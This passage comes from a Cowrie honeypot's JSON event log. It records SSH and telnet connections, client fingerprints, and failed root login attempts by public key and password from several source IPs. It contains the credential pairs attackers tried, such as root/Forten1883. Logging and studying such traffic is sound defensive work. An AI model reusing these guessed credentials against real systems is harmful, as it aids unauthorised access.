AAAAB3NzaC1yc2EAAAADAQABAAACAQCevvHcXH+efQGhFlR5OgfSJjf+0TmmyKmnZfbkrTi4yi+LvnXeRvOTZvFXEEc20uT4JEx1qMXs7rFX29kVRkTOhi9xhC7zTiRW0V5QXh/i05HHgIfZhw/ZB8OwiI6v2kWfEC/rj37Ludaux+KCuWvsmKehSttCR9N1rOEXsSJy2peFecdp8BOrMveVxgGykuCdmSq0nkpDLbQyaAtWg69XYEXUkMjeiuWQ4XKRwy9toJijIv0p16FC5GDkv8Up1nzADs1eZbVeo6iraoSlvJUvvePvtwxXUNrniKGCYzt8PoSIW9kxKkOEXjURYoj8FaFkSE9RlcfGQ7YQPISn0igBTiQMHpThrkYakF/6D334oJJkuXrkzgL3n+/rwr0Xa12kTAcfAj4s0yxFgAUSiAGGotQbkuAG2VZHn1i4h9qTLY07VAOfjQFxrhSF8xVWmxmsWjyJYEwJ93Ug0Jntzn/Kw0bVzRoyf11Q15Dd5+r5NowC8wie5TQCQxZKgxafgCnBKljhbPoHAjwpQfEHNpqGgmyB2crZeqaKHAJyOGXcU2l5VCJ60JA1uqC/4GV/jq8QW0l0DgbsgrCN88SqRO88/7QVIxRIhr8XI+Ap6nwOD2UXnSF84OknPcY9S64+JwG9P+naSzhfV/oKp/FolEXsdJQ56qfljPM/mPnG2Wa7Lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:ba:b3:6f:02:59:a7:94:a3:f9:6b:27:20:b7:ef:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.904765Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:ba:b3:6f:02:59:a7:94:a3:f9:6b:27:20:b7:ef:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCevvHcXH+efQGhFlR5OgfSJjf+0TmmyKmnZfbkrTi4yi+LvnXeRvOTZvFXEEc20uT4JEx1qMXs7rFX29kVRkTOhi9xhC7zTiRW0V5QXh/i05HHgIfZhw/ZB8OwiI6v2kWfEC/rj37Ludaux+KCuWvsmKehSttCR9N1rOEXsSJy2peFecdp8BOrMveVxgGykuCdmSq0nkpDLbQyaAtWg69XYEXUkMjeiuWQ4XKRwy9toJijIv0p16FC5GDkv8Up1nzADs1eZbVeo6iraoSlvJUvvePvtwxXUNrniKGCYzt8PoSIW9kxKkOEXjURYoj8FaFkSE9RlcfGQ7YQPISn0igBTiQMHpThrkYakF/6D334oJJkuXrkzgL3n+/rwr0Xa12kTAcfAj4s0yxFgAUSiAGGotQbkuAG2VZHn1i4h9qTLY07VAOfjQFxrhSF8xVWmxmsWjyJYEwJ93Ug0Jntzn/Kw0bVzRoyf11Q15Dd5+r5NowC8wie5TQCQxZKgxafgCnBKljhbPoHAjwpQfEHNpqGgmyB2crZeqaKHAJyOGXcU2l5VCJ60JA1uqC/4GV/jq8QW0l0DgbsgrCN88SqRO88/7QVIxRIhr8XI+Ap6nwOD2UXnSF84OknPcY9S64+JwG9P+naSzhfV/oKp/FolEXsdJQ56qfljPM/mPnG2Wa7Lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.908319Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:26.916623Z","src_ip":"104.236.66.186","session":"ac2553123a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60222,"dst_ip":"10.17.0.5","dst_port":23,"session":"530a120b0413","protocol":"telnet","message":"New connection: 50.6.8.71:60222 (10.17.0.5:23) [session: 530a120b0413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:34.418962Z"}
{"eventid":"cowrie.session.closed","duration":37.82142353057861,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:35.631608Z","src_ip":"50.6.8.71","session":"e038290d5018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057193279266357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:36.605540Z","src_ip":"50.6.8.71","session":"67c3070521dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":33840,"dst_ip":"159.203.135.109","dst_port":22,"session":"68cf33624b78","protocol":"ssh","message":"New connection: 193.228.128.84:33840 (159.203.135.109:22) [session: 68cf33624b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:42.238872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:42.243843Z","src_ip":"193.228.128.84","session":"68cf33624b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:42.346623Z","src_ip":"193.228.128.84","session":"68cf33624b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:42.655468Z","src_ip":"193.228.128.84","session":"68cf33624b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:43.760911Z","src_ip":"193.228.128.84","session":"68cf33624b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60238,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc37abe30a0","protocol":"telnet","message":"New connection: 50.6.8.71:60238 (10.17.0.5:23) [session: dfc37abe30a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:48.820648Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51950,"dst_ip":"10.17.0.5","dst_port":23,"session":"30386197f5f9","protocol":"telnet","message":"New connection: 50.6.8.71:51950 (10.17.0.5:23) [session: 30386197f5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:49.571217Z"}
{"eventid":"cowrie.session.closed","duration":33.45175886154175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:52.253386Z","src_ip":"50.6.8.71","session":"74f1f40c399a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.211.195.7","src_port":45364,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccf64423fae8","protocol":"ssh","message":"New connection: 80.211.195.7:45364 (10.17.0.5:22) [session: ccf64423fae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:57.950348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:57.954840Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.056468Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:37:4c:aa:a2:b8:d4:5f:20:19:8e:d0:97:a7:fa:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCOVCZgQJm+AjC/oiZZAC4UJ9VpdbzIK5iVMJX8MOmuzE+nHvJgbu4b4b4fCuXjsQEDKp3v6VJr0lEIl2644jgpnlM/OfM3qdPSzuVSLdck4x/jD8cHMtS5fDCxVFsiWCiJDEK4HVjrXqv+gmuITks8qYmHYfWEe5PyWZkT+/+pDvDGc7ndcsb5+cOPht0+CXloYurMLiWYApwwqtqAEqsNjW42pszuQwOVJmeocLhs/SVrjLem1ZmTdxDP0m4pQqj+hAmvlV1WVaEBarUE8DofwT8QKhIRl5YP2EGAH8C2/1AXqwfhHMNDcGpmIobPX3NkZVmWh5bLMToO0524l8oY8Lc8LWWvL5kHaV4OQIIUQCiV6I1j9mBLiYT8jaStPlHZ3Aftbhu3gf6MfFeZkXudSE1XtgXILKUy/sjaieF/X71IflHPJPRTU4Gtg3HP2NZnwKHqFMplks+lUBiQtv5JiMStnRyNtPiwQDMs/6c9iCnYkS+1uc2ZB/75kYI5o2mjnPpwE+29Lv4Og75b1p6tpolQ0cMjc/YIb/0IMtcHO/VjfG2yhN7mZm1cvzbunQdsWuchH/UJ1vyoiXy+BTKj4ILvsC+wttUVxhymYM5ItmZJBcEEyEfW7o50a21pyIBNOHRX/T/hmT5smTlHl+B+nJr8Fy4ES15f4scXBtwlBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:37:4c:aa:a2:b8:d4:5f:20:19:8e:d0:97:a7:fa:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.528627Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:37:4c:aa:a2:b8:d4:5f:20:19:8e:d0:97:a7:fa:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCOVCZgQJm+AjC/oiZZAC4UJ9VpdbzIK5iVMJX8MOmuzE+nHvJgbu4b4b4fCuXjsQEDKp3v6VJr0lEIl2644jgpnlM/OfM3qdPSzuVSLdck4x/jD8cHMtS5fDCxVFsiWCiJDEK4HVjrXqv+gmuITks8qYmHYfWEe5PyWZkT+/+pDvDGc7ndcsb5+cOPht0+CXloYurMLiWYApwwqtqAEqsNjW42pszuQwOVJmeocLhs/SVrjLem1ZmTdxDP0m4pQqj+hAmvlV1WVaEBarUE8DofwT8QKhIRl5YP2EGAH8C2/1AXqwfhHMNDcGpmIobPX3NkZVmWh5bLMToO0524l8oY8Lc8LWWvL5kHaV4OQIIUQCiV6I1j9mBLiYT8jaStPlHZ3Aftbhu3gf6MfFeZkXudSE1XtgXILKUy/sjaieF/X71IflHPJPRTU4Gtg3HP2NZnwKHqFMplks+lUBiQtv5JiMStnRyNtPiwQDMs/6c9iCnYkS+1uc2ZB/75kYI5o2mjnPpwE+29Lv4Og75b1p6tpolQ0cMjc/YIb/0IMtcHO/VjfG2yhN7mZm1cvzbunQdsWuchH/UJ1vyoiXy+BTKj4ILvsC+wttUVxhymYM5ItmZJBcEEyEfW7o50a21pyIBNOHRX/T/hmT5smTlHl+B+nJr8Fy4ES15f4scXBtwlBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.532461Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:8a:d5:ef:4f:0c:70:74:e3:02:5c:3d:c5:0e:7c:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0/ukfDLYCKjLiS9/zWhNm07tzp36OJBJUajBNqtZ91PYZLYVAEpnJ03I4iV4XTe3YRgA+UZCfEy8YRseK1vSQbsskYrmElVldbb9pQyhY/fyZLFNBMZT5KcxLzufe7VScnqg5so8SAnwumQH4Ig23ogQaC8XPb4BU15YJ39apRghNrnZplMmD0gpyZ5i3bJ/0KaKiQf7FMgiNCKTNRoX+IhHtm/fglQXfMYydDs0oiyunLzNjdZWtyh+PAOq5Cf6lffPYg0ROu1LKr8qgHy2mSO631SrcDeZBZqT9hc8HRf1tzVqgRTbdtZn5+7dCNozqRESOYeL4revRdDDAEzL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:8a:d5:ef:4f:0c:70:74:e3:02:5c:3d:c5:0e:7c:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.631535Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:8a:d5:ef:4f:0c:70:74:e3:02:5c:3d:c5:0e:7c:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0/ukfDLYCKjLiS9/zWhNm07tzp36OJBJUajBNqtZ91PYZLYVAEpnJ03I4iV4XTe3YRgA+UZCfEy8YRseK1vSQbsskYrmElVldbb9pQyhY/fyZLFNBMZT5KcxLzufe7VScnqg5so8SAnwumQH4Ig23ogQaC8XPb4BU15YJ39apRghNrnZplMmD0gpyZ5i3bJ/0KaKiQf7FMgiNCKTNRoX+IhHtm/fglQXfMYydDs0oiyunLzNjdZWtyh+PAOq5Cf6lffPYg0ROu1LKr8qgHy2mSO631SrcDeZBZqT9hc8HRf1tzVqgRTbdtZn5+7dCNozqRESOYeL4revRdDDAEzL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.635233Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:49:bd:6f:44:10:6d:4a:3d:0d:a2:ed:c3:ec:64:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG1YyvC2yq8wsfGCOq0067/JQwJhOuBPQgqrcTM8ToZErufLHrBdp59Nm8F+EEwjJQ6lGo6FLGONCGAtV0j/mLCWXYCu9TpFI0mS2UUr4mHT5cXAKgkeSrw/jI/XOMUkSWV8Gy+e+xEfl0hWrr63EsCRZt/U/SLh50VCSJOFF872frluJrPBmoI6JhXb8Q2jkakBu+6d4MeFi+/1DISVZoBjL9V309KPN3Cmd//wdxSkP0c3GF1AssrDjzbBkdIWyn1Lrf4PdUuWOF6E3iPJfQbotRwFTCLLZWsvU5r89rgnu+DI+eqoEpZGUcaXeHKqcTyCJlIvV1M3oBGS5sJ8tl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:49:bd:6f:44:10:6d:4a:3d:0d:a2:ed:c3:ec:64:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.734936Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:49:bd:6f:44:10:6d:4a:3d:0d:a2:ed:c3:ec:64:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG1YyvC2yq8wsfGCOq0067/JQwJhOuBPQgqrcTM8ToZErufLHrBdp59Nm8F+EEwjJQ6lGo6FLGONCGAtV0j/mLCWXYCu9TpFI0mS2UUr4mHT5cXAKgkeSrw/jI/XOMUkSWV8Gy+e+xEfl0hWrr63EsCRZt/U/SLh50VCSJOFF872frluJrPBmoI6JhXb8Q2jkakBu+6d4MeFi+/1DISVZoBjL9V309KPN3Cmd//wdxSkP0c3GF1AssrDjzbBkdIWyn1Lrf4PdUuWOF6E3iPJfQbotRwFTCLLZWsvU5r89rgnu+DI+eqoEpZGUcaXeHKqcTyCJlIvV1M3oBGS5sJ8tl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.741205Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:07:bc:c3:00:e4:4e:46:81:e7:6a:29:43:2a:26:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwRF+pC8ECC4GdifAISzXpyz+TGgbp7WaYuzfaWGrZS+egQx4QWt+JoMgixHQ6evxuh5rh8ZsCnvyTwUDO7tZJy/+QL1qRaypm8mNvKmJvTVtSBaZj/k5aGG6LK9G9d3pLPjNn96c33XMd8dodyxHwdsPYtj7xk8lNOb3IylPGWc4iQEc3ymD5G1iexlh9ra/eq7rdyR7U97Gr4NRwpyofEBiUmB7mxGrgsJVcGx5/v2FNgdjhTyXnXQcpqa+H+gZmw+Tapu1Z4BqYbXyb2Rp55pGn4C9VccKo+wWKq0RSyn4wx/+FZz0/TvvtpHIugsXfVpbeadGEvM+oACrQrqR7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:07:bc:c3:00:e4:4e:46:81:e7:6a:29:43:2a:26:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.840426Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:07:bc:c3:00:e4:4e:46:81:e7:6a:29:43:2a:26:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwRF+pC8ECC4GdifAISzXpyz+TGgbp7WaYuzfaWGrZS+egQx4QWt+JoMgixHQ6evxuh5rh8ZsCnvyTwUDO7tZJy/+QL1qRaypm8mNvKmJvTVtSBaZj/k5aGG6LK9G9d3pLPjNn96c33XMd8dodyxHwdsPYtj7xk8lNOb3IylPGWc4iQEc3ymD5G1iexlh9ra/eq7rdyR7U97Gr4NRwpyofEBiUmB7mxGrgsJVcGx5/v2FNgdjhTyXnXQcpqa+H+gZmw+Tapu1Z4BqYbXyb2Rp55pGn4C9VccKo+wWKq0RSyn4wx/+FZz0/TvvtpHIugsXfVpbeadGEvM+oACrQrqR7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.844328Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:7e:cc:44:77:10:61:2e:ec:40:64:3b:d0:6a:45:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvWRX5W0nXma3JC7RHXaqyp2u3Vf2A8HAzmK5Um+ufq8Kgs0qZRMnWZLoU5onythbCe7K8o30ESrqwDc/yHImrMZeseFmvo1drFJn3Ar4Io7y/ww9OlkE2bCLMhUCoxytzBW/hjLzx9rHw2q+5OZO3T+YRsaMXoFjSFJ1LOtepYv1i04AclE0ZoqR+Sb5lc6YsMSNCR1vyzlTwafEZp/JJZaFk7CGdEleF9EiZ+dXw4RhURQlVbfejMQRakBjKrASZmGAssaHwxmR+pYYSleO6kDJpQsPDurW2+a8ZVtq0sl+3jzja/n4jhv8pbC2RRxydEGUWuymGo2PM9f+WY+LYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:7e:cc:44:77:10:61:2e:ec:40:64:3b:d0:6a:45:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.943735Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:7e:cc:44:77:10:61:2e:ec:40:64:3b:d0:6a:45:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvWRX5W0nXma3JC7RHXaqyp2u3Vf2A8HAzmK5Um+ufq8Kgs0qZRMnWZLoU5onythbCe7K8o30ESrqwDc/yHImrMZeseFmvo1drFJn3Ar4Io7y/ww9OlkE2bCLMhUCoxytzBW/hjLzx9rHw2q+5OZO3T+YRsaMXoFjSFJ1LOtepYv1i04AclE0ZoqR+Sb5lc6YsMSNCR1vyzlTwafEZp/JJZaFk7CGdEleF9EiZ+dXw4RhURQlVbfejMQRakBjKrASZmGAssaHwxmR+pYYSleO6kDJpQsPDurW2+a8ZVtq0sl+3jzja/n4jhv8pbC2RRxydEGUWuymGo2PM9f+WY+LYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:58.947571Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:45:59.047233Z","src_ip":"80.211.195.7","session":"ccf64423fae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":57160,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a3ad7771ff6","protocol":"ssh","message":"New connection: 200.77.172.159:57160 (159.203.135.109:22) [session: 2a3ad7771ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:00.699457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:00.704584Z","src_ip":"200.77.172.159","session":"2a3ad7771ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:00.773330Z","src_ip":"200.77.172.159","session":"2a3ad7771ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:01.083061Z","src_ip":"200.77.172.159","session":"2a3ad7771ff6","protocol":"ssh"}
